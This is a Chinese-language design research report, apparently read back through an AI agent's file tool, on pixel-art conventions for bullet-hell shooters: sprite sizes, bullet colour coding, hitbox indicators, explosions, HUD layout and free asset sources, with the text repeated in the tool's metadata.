**判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。\n- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。\n\n---\n\n## 1. 玩家飞船 / 角色设计\n\n### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)\n\n- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。\n- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。\n- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。\n- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。\n\n**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。\n\n### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)\n\n综合 SLYNYRD 教程与 Boghog 指南:\n\n- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。\n- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。\n- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。\n- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。\n- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。\n- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。\n\n### 1.3 东方Project 系列的角色精灵风格\n\n(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)\n\n- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。\n- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。\n- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。\n- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。\n- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。\n\n### 1.4 像素飞船设计要点(落地 Checklist)\n\n| 项目 | 建议 |\n|---|---|\n| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |\n| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |\n| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |\n| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |\n| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |\n| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |\n\n### 1.5 判定框(Hitbox)视觉提示设计\n\n- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。\n- **视觉提示做法(主流方案)**:\n 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。\n 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。\n 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。\n- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。\n\n---\n\n## 2. 敌方单位设计\n\n### 2.1 杂兵(Enemy Grunts)的像素设计\n\n- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。\n- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):\n - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。\n - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。\n- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。\n- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。\n- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。\n\n### 2.2 Boss 的体型与细节层次\n\n- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。\n- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。\n- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。\n- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。\n- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。\n\n### 2.3 敌方攻击前的视觉预警(Telegraph)\n\n- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。\n- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。\n- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。\n- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。\n- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。\n- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。\n\n---\n\n## 3. 子弹 / 弹幕的像素美术\n\n### 3.1 常见像素子弹样式与尺寸\n\n**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。\n\n| 子弹类型 | 常见尺寸 | 形态与用途 |\n|---|---|---|\n| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |\n| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |\n| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |\n| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |\n| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |\n| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |\n\n### 3.2 子弹颜色与类型的对应关系\n\n- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。\n- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:\n - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;\n - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);\n - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。\n- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。\n- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。\n\n### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)\n\n- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。\n- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。\n- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。\n- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。\n- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。\n- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。\n\n### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)\n\n- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。\n- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。\n- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。\n- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。\n- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。\n- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。\n- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。\n\n---\n\n## 4. 特效与 UI\n\n### 4.1 爆炸特效的像素动画(SLYNYRD 方法)\n\n- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。\n- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。\n- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。\n- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。\n- **冲击波**:把引导环稍作修改即可成冲击波环。\n- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。\n- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。\n\n### 4.2 拾取道具的视觉效果\n\n- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。\n- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。\n- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。\n- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。\n- **点收集(Point of Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。\n\n### 4.3 得分 / 连击的视觉反馈\n\n- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。\n- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。\n- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。\n- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。\n- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。\n\n### 4.4 血条、Bomb 数量等 HUD 设计\n\n- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。\n- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。\n- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。\n- **残机(Lives)**:像素自机小图标排列,比数字更直观。\n- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。\n- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。\n- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。\n\n---\n\n## 5. 参考资源搜索汇总\n\n### 5.1 itch.io 免费/付费像素弹幕素材\n\n| 资源 | 内容 | 链接 |\n|---|---|---|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |\n| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |\n| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |\n| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |\n| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |\n| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |\n\n### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)\n\n- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art\n- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020\n- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art\n- **shmup 合集页**:https://opengameart.org/content/shmup\n\n### 5.3 经典 STG 精灵分析与弹幕设计参考\n\n- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox\n- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets\n- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon\n- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html\n- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n- **Shmups Wiki 主站**:https://shmups.wiki\n- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup\n- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo\n\n### 5.4 像素艺术风格指南(教程/博客)\n\n- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2\n- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions\n- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles\n- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)\n- Piskel(免费在线像素编辑器):https://www.piskelapp.com\n\n### 5.5 建议搜索关键词(继续深挖用)\n\n`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`\n\n---\n\n## 6. 给本项目落地落实的美术规范建议(可直接执行)\n\n1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。\n2. **色板分工(建议)**:\n - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;\n - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;\n - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);\n - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;\n - 爆炸:白→橙红黄→灰;\n - 预警:蓄力时变亮/变红,激光先亮细线。\n3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。\n4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。\n5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。\n6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。\n\n---\n\n## 7. 信息来源与可信度说明\n\n- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。\n- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。\n- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。\n- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。\n```", "timestamp": "2026-08-23T12:32:41.008316", "message_id": "msg_c5e2d80671254a42969c75895234abce", "metadata": {"tool_payload": {"success": true, "type": "read", "path": "research/pixel_art_style/pixel_art_research.md", "encoding": "utf-8", "max_chars": 50000, "truncated": false, "content": "# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告\n\n> 调研时间:2026-08-23\n> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源\n> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)\n\n---\n\n## 0. 摘要与总体结论\n\n- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。\n- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。\n- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。\n- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。\n- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。\n\n---\n\n## 1. 玩家飞船 / 角色设计\n\n### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)\n\n- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。\n- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。\n- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。\n- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。\n\n**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。\n\n### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)\n\n综合 SLYNYRD 教程与 Boghog 指南:\n\n- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。\n- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。\n- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。\n- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。\n- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。\n- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。\n\n### 1.3 东方Project 系列的角色精灵风格\n\n(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)\n\n- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。\n- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。\n- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。\n- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。\n- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。\n\n### 1.4 像素飞船设计要点(落地 Checklist)\n\n| 项目 | 建议 |\n|---|---|\n| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |\n| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |\n| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |\n| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |\n| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |\n| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |\n\n### 1.5 判定框(Hitbox)视觉提示设计\n\n- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。\n- **视觉提示做法(主流方案)**:\n 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。\n 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。\n 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。\n- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。\n\n---\n\n## 2. 敌方单位设计\n\n### 2.1 杂兵(Enemy Grunts)的像素设计\n\n- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。\n- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):\n - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。\n - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 